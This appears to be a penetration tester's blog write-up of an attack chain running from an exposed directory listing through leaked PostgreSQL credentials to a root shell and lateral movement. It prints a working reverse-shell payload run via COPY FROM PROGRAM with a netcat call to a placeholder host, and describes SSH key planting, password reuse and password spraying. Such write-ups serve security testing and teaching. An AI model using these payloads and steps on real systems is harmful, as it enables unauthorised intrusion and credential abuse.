From Directory Listing to Root Shell

In this blog, I will demonstrate how a simple directory listing vulnerability led to full system compromise during a penetration test.

Prologue

“The best exploits are the ones that never feel like exploits at all.”
— Mr. Robot

I discovered that a web server was exposing its directory contents.

Several configuration and compressed files were visible, indicating possible sensitive information leakage.

Source Code Analysis

After downloading and analyzing the exposed files, I found a PHP configuration file containing PostgreSQL database credentials.

Database Connection

Using the extracted credentials, I connected to the PostgreSQL server and successfully authenticated.

PostgreSQL to Reverse Shell

After confirming access, I attempted to escalate this to Remote Command Execution.

Role Enumeration

First, I enumerated the database role.

The user had superuser privileges, which was promising.

Permission Enumeration

To enumerate detailed permissions, I used the following query:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

SELECT 
      r.rolname, 
      r.rolsuper, 
      r.rolinherit,
      r.rolcreaterole,
      r.rolcreatedb,
      r.rolcanlogin,
      r.rolconnlimit, r.rolvaliduntil,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

The presence of the pg_execute_server_program privilege allowed OS-level command execution.

Remote Code Execution

Using PostgreSQL’s COPY FROM PROGRAM, I executed a reverse shell payload

1
2

CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 4444 >/tmp/f';

Listener setup:

1

nc -lnvp 4444

SSH Connection

Port 22 (SSH) was open on the target.

I located the home directory of the postgres user

Added my public key to authorized_keys

Successfully logged in via SSH

Priviledge Escalation

While reviewing /etc/passwd, I noticed a system user whose credentials matched those found in the PHP file. Trying the same password worked.
This user also had sudo privileges, allowing immediate root shell access

Lateral Movement

The compromised server resided in a private Class B network. I scanned the subnet for SSH using Gill-Singh-A/Port-Scanner and performed SSH password spraying using Gill-Singh-A/SSH-Brute-Force
This resulted in successful access to two additional hosts

Attack Path

References

• Command Execution with PostgreSQL Copy Command - Nairuz Abulhul